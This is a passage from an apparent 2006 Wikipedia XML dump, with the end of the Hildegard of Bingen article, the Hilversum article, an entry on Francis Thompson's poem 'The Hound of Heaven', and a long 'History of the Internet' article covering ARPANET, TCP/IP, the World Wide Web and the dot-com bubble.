* Maud Burnett McInerney, ed. ''Hildegard of Bingen: A Book of Essays''. New York: Garland Pub., 1998. ISBN 0815325886 
* Whitney Chadwick, ''Women, Art, and Society,'' Thames and Hudson, London, 1990. ISBN 0500203547 
* Harris, Anne Sutherland and Linda Nochlin, ''Women Artists: 1550-1950'', Los Angeles County Museum of Art, Knopf, New York, 1976. ISBN 0394733266  
* Anna Silvas (trans). ''Jutta and Hildegard: the Biographical Sources'' (Brepols Medieval Women Series). Penn State University Press, 1999. ISBN 0271019549 
*June Boyce-Tillman. ''The Creative Spirit: Harmonious Living with Hildegard of Bingen'', Harrisburg, PA: Morehouse Publishing, 2000. ISBN 0819218820

==Related Links==
[[Women Artists]]

== External links ==
{{Commons|Hildegard von Bingen}}
* [http://www.hildegard.org/ Hildegard of Bingen] Documents, History, Sites to see today, etc..
* [http://www.fordham.edu/halsall/med/hildegarde.html Source]
* [http://www.apc.net/ia/ghildgrd.htm Discography]
* [http://www.poetseers.org/spiritual_and_devotional_poets/christian/hild/ Biography and Prayers of Hildegard]
* [http://www.medieval.org/emfaq/composers/hildegard.html Another discography]
* [http://www.eibingen.de/pfarrei/hauptseite.html Church of St. Hildegard in Eibingen, Germany with Informations about Hildegard von Bingen and the Eibinger Hildegardisshrine]

{{1911}}

[[Category:1098 births]]
[[Category:1179 deaths]]
[[Category:Beatified people]]
[[Category:German writers]]
[[Category:Medieval literature]]
[[Category:Medieval composers]]
[[Category:Saints]]
[[Category:Roman Catholic nuns]]
[[Category:Women composers]]
[[Category: Polymaths]]
[[Category:Women in art|Hildegard of Bingen]]
[[Category:Women writers]]

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    <title>Halting probability</title>
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      <contributor>
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        <id>372</id>
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      <minor />
      <text xml:space="preserve">#REDIRECT [[Chaitin's constant]]</text>
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  </page>
  <page>
    <title>Hilversum</title>
    <id>13686</id>
    <revision>
      <id>41419687</id>
      <timestamp>2006-02-27T04:58:59Z</timestamp>
      <contributor>
        <username>Omegatron</username>
        <id>18931</id>
      </contributor>
      <comment>«&quot;[[Image:Loudspeaker.png]] '''[[Media:Nl-Hilversum.ogg|Hilversum]]'''&quot; → {{Audio|Nl-Hilversum.ogg|'''Hilversum'''}}» audio template</comment>
      <text xml:space="preserve">{{Infobox Dutch municipality 5 |
  name=Hilversum | province=[[North Holland]] |
  map= Dutch Municipality Hilversum 2006.png | dn=52.23 | de=5.18 |
  area=46.19 | land=45.98 | water=0.21 |
  population=83,096 | population_year=(2005) | density=1,807 |
  mayor=E.C. Bakker |
  mayor_party=[[Democrats_66|D66]] |
  website=www.hilversum.nl}}
{{Audio|Nl-Hilversum.ogg|'''Hilversum'''}} is a municipality and a city in the [[Netherlands]], in the province of [[North Holland]]. Located in the region called &quot;'t Gooi&quot;, it is the largest city in that area. It is surrounded by [[heathland]], [[forest|wood]]s, [[meadow]]s, [[lake]]s, and smaller [[village]]s. 

==The town Hilversum==
Hilversum lies some 30 km south-east of [[Amsterdam]] and 25 km north of [[Utrecht (city)|Utrecht]].

The town is often called &quot;[[media]] [[city]]&quot; as it is the principal centre for [[radio]] and [[television]] [[broadcasting]] in the Netherlands. [[Radio Netherlands]], heard worldwide via [[shortwave radio]] since the [[1920s]], is based here. Hilversum is home to an extensive complex of audio and television [[studio]]s belonging to the national broadcast production company NOB, as well as to the studios and offices of all the Dutch public broadcasting organizations and many commercial TV production companies too.

Hilversum is also known for its architecturally important &quot;Raadhuis&quot; or [[town hall]], designed by [[Willem Marinus Dudok|Willem Dudok]] ([[1884]]-[[1974]]).

Hilversum has three libraries (two of which will be closing next year), two swimming pools (Hellemond Sport and De Lieberg), a number of sporting halls and several shopping centres (such as Hilvertshof, Kerkelanden, Riebeeck-Galerij, Severijn, and Chatham). In the region the city centre is known as 'het dorp' which means 'the village'.

==History==
Hilversum started out as nothing but a big slab of land used for agriculture. Around 900 it started to form, but it wasn't until 1305 that the first official mention of Hilversum (&quot;Hilfersheem&quot;) was made. At this point in time, it was a part of [[Naarden]], the oldest town in the Gooi area.
[[Image:Raadhuis_Hilversum2.jpg|right|thumb|300px|Hilversum Town Hall (Raadhuis)]]
Sheep farming and a some wool facturing were the means of life for the Gooi in the Middle Ages. In March 1424, Hilversum received its most coveted official independent status. This caused some growth in the town, which was still nothing but an agricultural hovel. In 1725 and 1766, big fires destroyed most of the town, levelling parts of the old townhouse and the church next to it. 

Hilversum got a train station in 1874 and from that time the town started growing as the industry developed and commuters from Amsterdam moved to the town.

Hilversum became a media city when the ''Nederlandse Seintoestellen Fabriek'' company established a radio factory there in the early twenties. Radio organisations (after WWII followed by television) settled their headquarters in Hilversum. In 1964, the inhabitant count reached a record high - over 103,000 people were living there. At the moment it fluctuates around 84,000.

In 2002, controversial Dutch politician [[Pim Fortuyn]] was assassinated at Hilversum Media Park, just after having finished a radio interview.

==Local government==
The municipal council of Hilversum consists of 37 seats, which are divided as follows:

* Leefbaar Hilversum - 8 seats
* [[Christian Democratic Appeal|CDA]] - 4 seats
* [[People's Party for Freedom and Democracy|VVD]] - 6 seats
* [[GroenLinks]] - 5 seats
* [[Labour Party (Netherlands)|PvdA]] - 7 seats
* [[Democrats_66|D66]] - 4 seats
* [[ChristenUnie]]/[[Political Reformed Party|SGP]] - 1 seat
* Groep Munnik - 1 seat

==Railway connections==
Hilversum is connected to the Dutch railway network, and contains three stations: Hilversum, Hilversum Noord, and Hilversum Sportpark (hvs, hvsn, and hvsp on [[Train routes in the Netherlands|lines]] 32 and 40).

==References==
* Statistics are taken from the [http://www.sdu.nl/staatscourant/gemeentes/gem235nh.htm SDU Staatscourant]

==See also==
*[[Eurovision Song Contest 1958]]

==External links==
*[http://www.ehhv.nl/ Hilversum Airport]
*[http://www.mediapark.nl/ Hilversum Media Park]

{{North Holland Province}}


[[Category:Cities in the Netherlands]]
[[Category:Eurovision host cities]]
[[Category:North Holland]]

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  </page>
  <page>
    <title>Hound of Heaven</title>
    <id>13688</id>
    <revision>
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      <timestamp>2006-02-20T01:57:20Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
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      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''''Hound of Heaven''''' is a 182 line religious [[poem]] by [[Francis Thompson]], and the source of much of his posthumous reputation. It was included in the [[Oxford Book of English Mystical Verse]] (1917). It was also an influence on [[J. R. R. Tolkien]], who read it a few years before that.

The name is strange. It startles one at first. It is so bold, so new, so fearless. It does not attract, rather the reverse. But when one reads the poem this strangeness disappears. The meaning is understood. As the hound follows the hare, never ceasing in its running, ever drawing nearer in the chase, with unhurrying and impertubed pace, so does God follow the fleeing soul by His Divine grace. And though in sin or in human love, away from God it seeks to hide itself, Divine grace follows after, unwearyingly follows ever after, till the soul feels its pressure forcing it to turn to Him alone in that never ending pursuit.
The Neuman Press &quot;Book of Verse&quot;, 1988.

==External links==

* [http://poetry.elcore.net/TheHoundOfHeaven.html A thorough resource]

[[Category:British poems]]</text>
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    <title>Hilberts first problem</title>
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        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Continuum hypothesis]]
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    <title>History of the Internet</title>
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        <username>Yeltensic42</username>
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      <comment>/* X.25 and public access */ link to article instead of disambig page</comment>
      <text xml:space="preserve">The '''history of the Internet''' dates back to the early development of [[communication network]]s.  The idea of a [[computer network]] intended to allow general communication between users of various [[computer]]s has developed through a large number of stages. The melting pot of developments brought together the ''network of networks''{{ref|InternationalOriginsandCollaborativeVision}} that we know as the ''[[Internet]]''. This included both technological developments, as well as the merging together of existing network [[infrastructure]] and [[telecommunication]] systems. 

The earliest versions of these ideas appeared in the late 1950s. Practical implementations of the concepts began during the late 1960s and 1970s. By the 1980s, technologies we would now recognize as the basis of the modern Internet began to spread over the globe. In the 1990s the introduction of the [[World Wide Web]] saw its use become commonplace.  

The infrastructure of the Internet would spread across the globe, to create the modern world wide network of computers we know today. It spread throughout the western nations, and then begged a penetration into the developing countries, thus creating both unprecedented worldwide access to information and communications and a [[digital divide]] in access to this new infrastructure. The Internet would also go on to fundamentally alter and affect the economy of the world, including the economic implications of the [[dot-com]] bubble.

{{History of computing}}

==Before the Internet==
===A lack of inter-networking===
Prior to the widespread inter-networking that led to the Internet, most [[communication network]]s were limited by their nature to only allow communications between the stations on the network. Some networks would have [[gateway]]s or [[bridge]]s between them, but these bridges were often limited or built specifically for a single use. One prevalent computer networking method was based on the central [[mainframe]] method, simply allowing its terminals to be connected via long [[leased line]]s. This method was used in the 1950s by [[Project RAND]] to support researchers such as [[Herbert Simon]], in [[Pittsburgh, Pennsylvania]], when collaborating across the continent with researchers in [[Santa Monica, California]], on  [[automated theorem proving]] and [[artificial intelligence]]. 

===Three terminals and an ARPA===
A fundamental pioneer in the call for a global network, [[J.C.R. Licklider]], grasped the need for a global network in his January 1960 paper, [[Man-Computer Symbiosis]]. 
:''&lt;nowiki&gt;&quot;a network of such [computers], connected to one another by wide-band communication lines&quot; which provided &quot;the functions of present-day libraries together with anticipated advances in information storage and retrieval and [other] symbiotic functions. &quot;&lt;/nowiki&gt;'' -- J.C.R Licklider {{ref|Man-ComputerSymbiosis}}

In October 1962, Licklider was appointed head of [[DARPA]] information processing office, and started to form an informal group within the [[United States Department of Defense]]'s DARPA to further computer research. As part of the information processing offices role, three network terminals had been installed. One for [[System Development Corporation]] in [[Santa Monica, California|Santa Monica]], one for [[Project Genie]] at the [[University of California, Berkeley]] and one for the [[Multics]] project at the [[Massachusetts Institute of Technology]]. Licklider's need for inter-networking would be made evident by the problems this caused.
:''&quot;For each of these three terminals, I had three different sets of user commands. So if I was talking online with someone at S.D.C. and I wanted to talk to someone I knew at Berkeley or M.I.T. about this, I had to get up from the S.D.C. terminal, go over and log into the other terminal and get in touch with them.''
:''I said, oh, man, it's obvious what to do: If you have these three terminals, there ought to be one terminal that goes anywhere you want to go where you have interactive computing. That idea is the ARPAnet.&quot;'' -- [[Robert Taylor (computer scientist)|Robert W. Taylor]], co-writer with Licklider of &quot;The Computer as a Communications Device&quot;, in an interview with the [[New York Times]] {{ref|InternetPioneer}}

===Switched packets===
{{main|Packet switching}}
At the core of the inter-networking problem lay the issue of connecting separate physical networks so they formed one logical network. During the 1960s, several groups worked on, and produced the concept of [[Packet Switching]]. [[Donald Davies]] ([[National Physical Laboratory|NPL]]), [[Paul Baran]] ([[Rand Corporation]]) and [[Leonard Kleinrock]] ([[Massachusetts Institute of Technology|MIT]]) are normally credited with the simultaneous invention. The common myth that the Internet was developed to survive nuclear attack has its roots in the early theories developed by RAND. Baran's research had approached packet switching from study of decentralisation to avoid combat damage risking the entire network. {{ref|PB-RAND}}

==The networks that would lead to the Internet==
===ARPANET===
{{main|ARPANET}}
[[Image:Leonard-Kleinrock-and-IMP1.png|thumb|300px|Leonard Kleinrock and the first IMP. ''source:''  http://www.lk.cs.ucla.edu/personal_history.html]]

Promoted to the head of the information processing office at [[ARPA]], [[Robert Taylor]] intended to realize Licklider's ideas of an interconnected networking system. Bringing in [[Larry Roberts]] from [[Massachusetts Institute of Technology|M.I.T]], he initiated a project to start such a [[computer network|network]]. The first ARPANET link was established on 21 November 1969, between the [[University of California, Los Angeles]]  and The [[Stanford Research Institute]].  By 5 December 1969, a 4-node network was connected, adding the [[University of Utah]] and the [[University of California, Santa Barbara]]. Building on ideas developed in [[ALOHAnet]], the ARPANET started in 1972 and was growing rapidly by 1981. The number of hosts had grown to 213, with a new host being added approximately every twenty days. {{ref|WhereWizardsStayUpLate}} {{ref|FromtheARPANETtotheInternet}} 

[[ARPANET]] became the technical core of what would become the Internet, and a primary tool in developing the technologies used. [[ARPANET]] development was centered around the [[Request for Comments|RFC]] process, still used today for proposing and distributing Internet Protocols and Systems. RFC 1, entitled &quot;Host Software&quot;, was written by [[Steve Crocker]] from the [[University of California, Los Angeles]], and published on [[April 7]], [[1969]]. 

International collaborations on ARPANET were sparse; for various political reasons European developers were concerned with developing the [[X.25]] networks, with the notable exception of the Norwegian Seismic Array in 1972 followed in 1973 by satellite links to the [[Tanum]] Earth Station in Sweden and [[University College London]]. {{ref|InternationalOriginsandCollaborativeVision}}

===X.25 and public access===
:''See main articles at [[X.25]], [[Bulletin board system]] and [[Fidonet]].''

Following on from DARPA's research, packet switching networks were developed by the [[International Telecommunication Union]] (ITU) in the form of [[X.25]] networks. X.25 formed the basis for the network between British academic and research sites, [[SERCnet]], in 1974, which would later become [[JANET]]. The initial ITU Standard on X.25 was approved in March 1976. 

The [[General Post Office (United Kingdom)|British Post Office]], [[Western Union|Western Union International]] and [[Tymnet]] collaborated to create the first international packet switched network, referred to as the International Packet Switched Service (IPSS), in 1978. This network would grow from Europe and the US to cover Canada, Hong Kong and Australia by 1981, by the 1990s it provided a worldwide networking infrastructure. {{ref|BritishTelecommsHistory}}

Unlike ARPAnet, X.25 was also commonly available for business use. X.25 would be used for the first dial-in public access networks; such as [[Compuserve]] and [[Tymnet]].  In 1979, CompuServe became the first service to offer [[e-mail|electronic mail]] capabilities and technical support to [[personal computer]] users. The company broke new ground again in 1980 as the first to offer [[online chat|real-time chat]] with its [[CB Simulator]]. In addition to this were the [[America Online]] (AOL)  and [[Prodigy (ISP)|Prodigy]] dial in networks, and many [[Bulletin board system|BBS]] networks such as [[The WELL]] and [[FidoNet]]. [[FidoNet]] in particular was popular amongst hobbyist computer users, many of them [[hackers]] and [[radio amateurs]].

===UUCP===
:''See main articles at [[UUCP]] and [[Usenet]].''

In 1979, two students at [[Duke University]], [[Tom Truscott]] and [[Jim Ellis]], came up with the idea of using simple [[Bourne shell]] scripts to transfer news and messages on a serial line with nearby [[University of North Carolina at Chapel Hill]]. Following public release of the software, the mesh of [[UUCP]] hosts forwarding on the [[Usenet]] news rapidly expanded. UUCPnet, as it would later be named, would also create gateways and links between [[Fidonet]] and dial-up [[Bulletin board system|BBS]] hosts. UUCP networks spread quickly due to the lower costs involved, and ability to use existing leased lines, X.25 links or even ARPANET connections. By 1983 the number of UUCP hosts had grown to 550, nearly doubling to 940 in 1984.

==Merging the networks, and creating the Internet==
===TCP/IP===
{{main|Internet protocol suite}}
[[Image:IntFeb82.jpg|right|thumb|320px|Map of the TCP/IP test network, in January 1982]] With so many different network methods, something needed to unify them. [[Robert E. Kahn]] of [[ARPA]] and [[ARPANET]] recruited [[Vint Cerf]] of [[Stanford University]] to work with him on the problem. By 1973, they had soon worked out a fundamental reformulation, where the differences between network protocols were hidden by using a common [[internetwork protocol]], and instead of the network being responsible for reliability, as in the [[ARPANET]], the hosts became responsible. Cerf credits [[Hubert Zimmerman]] and [[Louis Pouzin]] (designer of the [[CYCLADES]] network) with important work on this design. {{ref|ABriefHistoryoftheInternet}}

With the role of the network reduced to the bare minimum, it became possible to join almost any networks together, no matter what their characteristics were, thereby solving Kahn's initial problem. [[DARPA]] agreed to fund development of prototype software, and after several years of work, the first somewhat crude demonstration of what had by then become [[TCP/IP]] occurred in July 1977. This new method quickly spread across the networks, and on January 1, 1983, [[TCP/IP]] protocols became the only approved protocol on the [[ARPANET]], replacing the earlier NCP protocol. {{ref|RFC801}}

===ARPANET to NSFNet===
:''See main articles at [[ARPANET]] and [[NSFNet]].''

After the [[ARPANET]] had been up and running for several years, [[ARPA]] looked for another agency to hand off the [[computer network|network]] to; [[ARPA]]'s primary business was funding cutting-edge research and development, not running a communications utility. Eventually, in July 1975, the network had been turned over to the [[Defense Communications Agency]], also part of the [[Department of Defense]]. In 1984, the [[U.S. military]] portion of the [[ARPANet]] was broken off as a separate [[computer network|network]], the [[MILNET]]. 

The networks based around the [[ARPANET]] were government funded and therefore restricted to noncommercial uses such as research; unrelated commercial use was strictly forbidden. This initially restricted connections to [[military]] sites and [[universities]]. During the 1980s, the connections expanded to more educational institutions, and even to a growing number of companies such as [[Digital Equipment Corporation]] and [[Hewlett-Packard]], which were participating in research projects or providing services to those who were. 

Another branch of the [[U.S. government]], the [[National Science Foundation]], became heavily involved in internet research and started development of a successor to ARPANET. In 1984 this resulted in the first [[Wide Area Network]] designed specifically to use [[TCP/IP]]. This grew into the [[NSFNet]] [[backbone]], established in 1986, and intended to connect and provide access to a number of [[Supercomputers|supercomputing]] centers established by the [[NSF]].

===The transition towards an Internet===
It was around this time when ARPANET began to merge with NSFNet, that the term Internet originated, {{ref|ComputerNetworks}} with, &quot;an internet&quot; meaning any network using [[TCP/IP]]. &quot;The Internet&quot; came to mean a global and large network using [[TCP/IP]], which at the time meant [[NSFNet]] and [[ARPANET]]. Previously &quot;internet&quot; and &quot;internetwork&quot; had been used interchangeably, and &quot;internet protocol&quot; had been used to refer to other networking systems such as [[Xerox Network Services]]. {{ref|TCP-IPDigest}} 

As interest in wide spread networking grew, and new applications for it arrived, the Internet's technologies spread throughout the rest of the world. [[TCP/IP]]'s network agnostic approach led to it being easy to use any existing network infrastructure, such as the IPSS [[X.25]] network, to carry Internet traffic. In 1984, [[University College London]] replaced its transatlantic satellite links with TCP/IP over IPSS. 

Many sites unable to link directly to the Internet started to create simple gateways to allow transfer of e-mail, then the most important of applications. Those sites which could only have intermittent connections would use UUCP or Fidonet, and rely on the gateways between these networks and the Internet. Some gateway services went beyond simple e-mail peering, such as allowing access to [[File Transfer Protocol|FTP]] sites via UUCP or e-mail.

==TCP/IP becomes worldwide==
===CERN, the European internet, the link to the Pacific and beyond===
In 1984 the move in [[Europe]] towards more widespread use of [[TCP/IP]] started, and [[CERNET]] was converted over to using it. The [[TCP/IP]] [[CERNET]] remained isolated from the rest of the Internet, forming a small internal internet.

In 1988 [[Daniel Karrenberg]], from the [[Amsterdam Mathematics Centre]], visited [[Ben Segal]], [[CERN]]'s TCP/IP Coordinator; looking for advice about the transition of the European side of the UUCP Usenet network (much of which ran over X.25 links) over to TCP/IP. In 1987, Ben Segal had met with [[Len Bosack]] from the then still small company [[Cisco]] about [[TCP/IP]] routers, and was able to give Karrenberg advice and forward him on to [[Cisco]] for the appropriate hardware. This expanded the European portion of the Internet across the existing UUCP networks, and in 1989 CERN opened its first external [[TCP/IP]] connections. {{ref|InternetProtocolsatCERN}} This coincided with the creation of  Réseaux IP Européens ([[RIPE]]), initially a group of IP network administrators who met regularly to carry out co-ordination work together. Later, in 1992, RIPE was formally registered as a [[cooperative]] in [[Amsterdam]].

At the same time as the rise of internetworking in Europe, adhoc networking to ARPA and in-between [[Australian]] colleges formed, based on various technologies such as [[X.25]] and [[UUCP|UUCPNet]]. These were limited in their connection to the global networks, due to the cost of making individual international UUCP dial-up or X.25 connections. In 1989, Australian colleges joined the push towards using IP protocols to unify their networking infrastructures. [[AARNet]] was formed in 1989 by the [[Australian Vice-Chancellor's Committee]] and provided a dedicated IP based network for Australia.

In [[Asia]], having built a JUNET a UUCP based network in 1984 [[Japan]] followed on by connecting to NSFNet in 1989 and hosted the annual meeting of [[The Internet Society]], INET'92, in [[Kobe]]. [[Singapore]] developed TECHNET in 1990, and [[Thailand]] gained a global Internet connection between Chulalongkorn University and UUNET in 1992.{{ref|AsiaHist}}

===A digital divide===
:''See main articles at [[Digital divide]] and [[Internet in the People's Republic of China]].''

While developed countries with technological infrastructures were joining the internet, developing countries began to experience a [[Digital divide]] seperating them from the Internet. At the beginning of the 1990s African countries relied upon X.25 IPSS and 2400 baud modem UUCP links for international and internetwork computer communications. In 1996 a [[USAID]] funded project, the [http://www.usaid.gov/regions/afr/leland/chrono.htm Leland initative] , started work on developing full Internet connectivity for the continent. 1997 saw [[Guinea]], [[Mozambique]], [[Madagascar]] and [[Rwanda]] gain [[Satellite earth station|satellite earth stations]], followed by [[Côte d'Ivoire]] and [[Benin]] in 1998. 

In 1991 China saw its first TCP/IP college network, [[Tsinghua University|Tsinghua University's]] TUNET. [[China]] went on to make its first global Internet connection in 1994, between the [[Beijing Electro-Spectrometer Collaboration]] and [[Stanford University|Stanford University's]] Stanford Linear Accelerator Center. However, China went on to implement its own Digital Divide, by implementing a country wide [[Internet censorship in mainland China|content filter]].{{ref|ChinaPCWorld}}

==Opening the network to commerce==
The interest in commercial use of the Internet became a hotly debated topic.  Although commercial use was forbidden, the exact definition of commercial use could be unclear and subjective.  Everyone agreed that one company sending an invoice to another company was clearly commercial use, but anything less was up for debate.  [[UUCP|UUCPNet]] and the [[X.25]] IPSS had no such restrictions, which would eventually see the official barring of UUCPNet use of ARPANET and NSFNet connections. Some UUCP links still remained connecting to these networks however, as administrators cast a blind eye to their operation.

[[Image:Number of internet hosts.svg|right|300px]] During the late 1980s the first [[Internet Service Provider]] (ISP) companies were formed.  Companies like [[PSINet]], [[UUNET]], [[Netcom (USA)|Netcom]], and [[Portal]] were formed to provide service to the regional research networks and provide alternate network access, UUCP-based email and Usenet News to the public. The first dial-up ISP, world.std.com, opened in 1989.

This caused controversy amongst university users, who were outraged at the idea of noneducational use of their networks. Eventually it was the commercial Internet service providers who brought prices low enough that junior colleges and other schools could afford to participate in the new arenas of education and research.

By 1990, [[ARPANET]] had been overtaken and replaced by newer networking technologies, and the project came to a close. Following the close of [[ARPANET]], in 1994, the [[NSFNet]], now renamed to ANSNET (Advanced Networks and Services) and allowing Non-Profit Corporations access, lost its standing as the backbone of the Internet. Both government institutions and competing commercial providers created their own backbones and interconnections.  Regional NAPs ([[network access point]]s) became the primary interconnections between the many networks and the final commercial restrictions ended.

==Maintaining the infrastructure==
===The IETF and a standard for standards===
{{main|IETF}}
The Internet has developed a significant subculture dedicated to the idea that the Internet is not owned or controlled by any one person, company, group, or organization. Nevertheless, some standardization and control is necessary for anything to function.

The liberal [[RFC]] publication procedure engendered confusion about the Internet standardization process, and led to more formalization of official accepted standards. The [[IETF]] started in January of 1986 as a quarterly meeting of U.S. government funded researchers. Representatives from non-government vendors were invited starting with the fourth IETF meeting in October of that year.

Acceptance of an RFC by the RFC Editor for publication does not automatically make the RFC into a standard. It may be recognized as such by the IETF only after experimentation, use, and acceptance have proved it to be worthy of that designation. Official standards are numbered with a prefix &quot;STD&quot; and a number, similar to the RFC naming style. However, even after becoming a standard, most are still commonly referred to by their RFC number.

In 1992, the [[Internet Society]], a professional membership society was formed, and the IETF was transferred to operation under it as an independent international standards body.

===NIC, InterNIC IANA and ICANN===
:''See main articles at [[InterNIC]], [[IANA]] and [[ICANN]].''

The first central authority to coordinate the operation of the network was the NIC (Network Information Centre) at SRI ([[Stanford Research Institute]] in [[Menlo Park, California|Menlo Park]], [[California]]). In 1972, management of these issues was given to the newly created [[Internet Assigned Numbers Authority]] (IANA). In addition to his role as the RFC Editor, [[Jon Postel]] worked as the manager of IANA until his death in 1998.

As the early ARPANet grew, hosts were referred to by names, and a HOSTS.TXT file would be distributed from [[SRI International]] to each host on the network. As the network grew, this became cumbersome. A technical solution came in the form of the [[Domain Name System]], created by [[Paul Mockapetris]]. The Defense Data Network - Network Information Center (DDN-NIC) at SRI handled all registration services, including the [[Top Level Domain]]s of [[.mil]], [[.gov]], [[.edu]], [[.org]], [[.net]], [[.com]] and [[.us]], [[root nameserver]] administration and Internet number assignments under a [[United States Department of Defense]] contract. {{ref|DDN-NIC}} In 1991, the Defense Information Systems Agency (DISA) awarded the administration and maintenance of DDN-NIC (managed by SRI up until this point) to Government Systems, Inc., who subcontracted it to the small private-sector [[Network Solutions|Network Solutions, Inc.]]{{ref|SRI-GSI}}

Since at this point in history most of the growth on the Internet was coming from non-Military sources, it was decided that the Department of Defense would no longer fund registration services outside of the .mil TLD. In 1993 the U.S. [[National Science Foundation]], after a competitive bidding process in 1992, created the [[InterNIC]] to manage the allocations of addresses and management of the address databases, and awarded the contract to three organizations. Registration Services would be provided by [[Network Solutions]]; Directory and Database Services would be provided by [[AT&amp;T]]; and Information Services would be provided by [[General Atomics]]. {{ref|InterNICcontract}}

In 1998 both IANA and InterNIC would be reorganized under the control of [[ICANN]], a [[California]] [[non-profit corporation]] contracted by the [[US Department of Commerce]] to manage a number of Internet-related tasks. The role of operating the DNS system was privatized, and opened up to competition, while the central management of name allocations would be awarded on a contract tender basis.

==Use and culture==
===Email and Usenet—The growth of the text forum===
:''See main articles at [[e-mail]] and [[Usenet]].''

E-mail is often called the [[Killer application]] of the Internet; however [[e-mail]] actually predates the Internet. Existing e-mail systems were a crucial tool in creating the Internet. E-mail started in 1965 as a way for multiple users of a [[time-sharing]] [[mainframe computer]] to communicate. Although the history is unclear, among the first systems to have such a facility were [[System Development Corporation|SDC]]'s [[Q32]] and [[Massachusetts Institute of Technology|MIT]]'s [[CTSS]]. In 1969 US Air Force users were sending text messages by making [[punched cards]] and transmitting them as card decks from one computer to another. 

The [[ARPANET]] [[computer network]] made a large contribution to the evolution of e-mail. There is one report {{ref|MailHistory}} indicating experimental inter-system e-mail transfers on it shortly  after its creation. [[Ray Tomlinson]] initiated the use of the [[@|@ sign]] to separate the names of the user and their machine in 1971. {{ref|FirstMail}} 

A number of protocols were developed to deliver e-mail among groups of time-sharing computers over alternative transmission systems, such as [[UUCP]] and [[IBM]]'s [[VNET]] e-mail system. E-mail could be passed this way between a number of networks, including the [[ARPANET]], [[Bitnet|BITNET]] and [[NSFNET]], as well as to hosts connected directly to other sites via UUCP.

In adition, UUCPnet carried a way of publishing text files that could be read by many others. The News software developed by [[Steve Daniel]] and [[Tom Truscott]] in 1979 would be used to distribute news and bulletin board-like messages. This would quickly grow into discussion groups on a wide range of topics. On ARPAnet and NSFNET similar discussion groups would form via [[Electronic mailing lists|mailing lists]], discussing both technical issues, and the more frivolous items such as [[science fiction]] on the [http://www.sflovers.org/ sflovers] mailing list.

===A world library—From gopher to the WWW===
:''See main articles at [[History of the World Wide Web]] and [[World Wide Web]].''

[[Image:First_Web_Server.jpg|right|thumb|280px|The first [[World Wide Web]] Server currently in the [[CERN]] museum]] As the Internet grew through the 1980s and early 1990s, many people realized the growing need to be able to find and organize files and information. Projects such as [[gopher protocol|Gopher]], [[Wide area information server|WAIS]], and the FTP Archive list attempted to create ways to organize distributed data.  Unfortunately, these projects fell short in being able to accommodate all the existing data types, and in being able to grow without bottlenecks. 

One of the most promising [[user interface]] [[paradigm]]s during this period was [[hypertext]].  The technology had been inspired by [[Vannevar Bush]]'s &quot;memex&quot;{{ref|AsWeMayThink}} and developed through [[Ted Nelson]]'s research on [[Project Xanadu]] and [[Douglas Engelbart]]'s research on [[NLS (computer system)|NLS]]. {{ref|AugmentingHumanIntellect}} Many small self-contained hypertext systems had been created before, such as Apple Computer's [[HyperCard]]. 

[[Tim Berners-Lee]] in 1989 was the first to develop a network based implementation of the concept, after he kept raising his idea at conferences and no one in the Internet or hypertext communities would implement it for him.  Working at [[CERN]], he wanted a way to share information about their research. By releasing his implementation to public use, he ensured the technology would become widespread. {{ref|TheEarlyWorldWideWeb}}

[[Mosaic web browser|Mosaic]], a graphical browser for the WWW, was developed by a team at the [[National Center for Supercomputing Applications]] at the [[University of Illinois at Urbana-Champaign]] (NCSA-UIUC), led by [[Marc Andreessen]].  Funding for Mosaic, came from the ''High-Performance Computing and Communications Initiative'', a funding program initiated by then-Senator [[Al Gore]]'s ''High Performance Computing Act of 1991''. The World Wide Web has led to a widespread culture of individual self publishing and co-operative publishing. The moment to moment recounts of a [[Blog]], and the information store of [[Wikipedia]] are both a result of the open ease of creating a public website.

===Finding what you need—The search engine===
{{main|Search engine}}
Even before the World Wide Web, there were  search engines that attempted to organize the  Internet. The first of these was the [[Archie search engine]]  from McGill University in 1990, followed in 1991 by [[Wide area information server|WAIS]] and [[gopher protocol |Gopher]].  All three of those systems predated the  invention of the [[World Wide Web|WWW]] but all continued to index  the Web and the rest of the Internet for several years after  the Web appeared.  There are still [[gopher protocol|Gopher]] servers today.

As the Web grew, [[search engine]]s and [[Web directory|Web directories]] were created to track pages on the web and allow people to find things.   The first full-text Web search engine was [[WebCrawler]] in 1990. Before WebCrawler, only  Web page titles were  searched.   Another  early  search engine, [[Lycos]], was created in 1993 as a university project, and was the first  to be commercially successful. By August 2001, [[Google]] tracked over 1.3 billion web pages and the growth continues. In early 2004, Google's index exceeded 4 billion pages. On [[November 11]], [[2004]], this number had doubled to just over 8 billion. On [[August 8]] [[2005]], [[Yahoo!]] announced that its online search engine index spans more than 20 billion items.

===The dot-com bubble===
{{main|Dot-com}}
The suddenly low price of reaching millions worldwide, and the possibility of selling to or hearing from those people at the same moment when they were reached, promised to overturn established business dogma in [[advertising]], [[mail-order]] sales, [[customer relationship management]], and many more areas.  The web was a new [[killer app]] -- it could bring together unrelated buyers and sellers in seamless and low-cost ways. Visionaries around the world developed new business models, and ran to their nearest [[venture capitalist]]. Of course a proportion of the new entrepreneurs were truly talented at business administration, sales, and growth; but the majority were just people with ideas, and didn't manage the capital influx prudently.

The dot-com bubble burst on [[March 10]], [[2000]], when the technology heavy [[NASDAQ|NASDAQ Composite]] index  peaked at [http://dynamic.nasdaq.com/dynamic/IndexChart.asp?symbol=IXIC&amp;desc=NASDAQ+Composite&amp;sec=nasdaq&amp;site=nasdaq&amp;months=84 5048.62] (intra-day peak 5132.52), more than double its value just a year before.  By 2001, the bubble's deflation was running full speed. A majority of the dot-coms had ceased trading, after having burnt through their [[venture capital]], often without ever making a gross [[profit]].

==References==
* {{note|NetHistory}} {{Web reference | title=Hobbes' Internet Timeline v8.1 | URL=http://www.zakon.org/robert/internet/timeline/ | date=November 25 | year=2005}}
* {{note|AsWeMayThink}} {{Citepaper | Author=[[Vannevar Bush]] | Title=As We May Think  | PublishYear=1945  | URL=http://www.theatlantic.com/doc/194507/bush}} 
* {{note|AugmentingHumanIntellect}} {{Citepaper | Author=[[Douglas Engelbart]]  | Title=Augmenting Human Intellect: A Conceptual Framework | PublishYear=1962 | URL=http://www.bootstrap.org/augdocs/friedewald030402/augmentinghumanintellect/ahi62index.html}} 
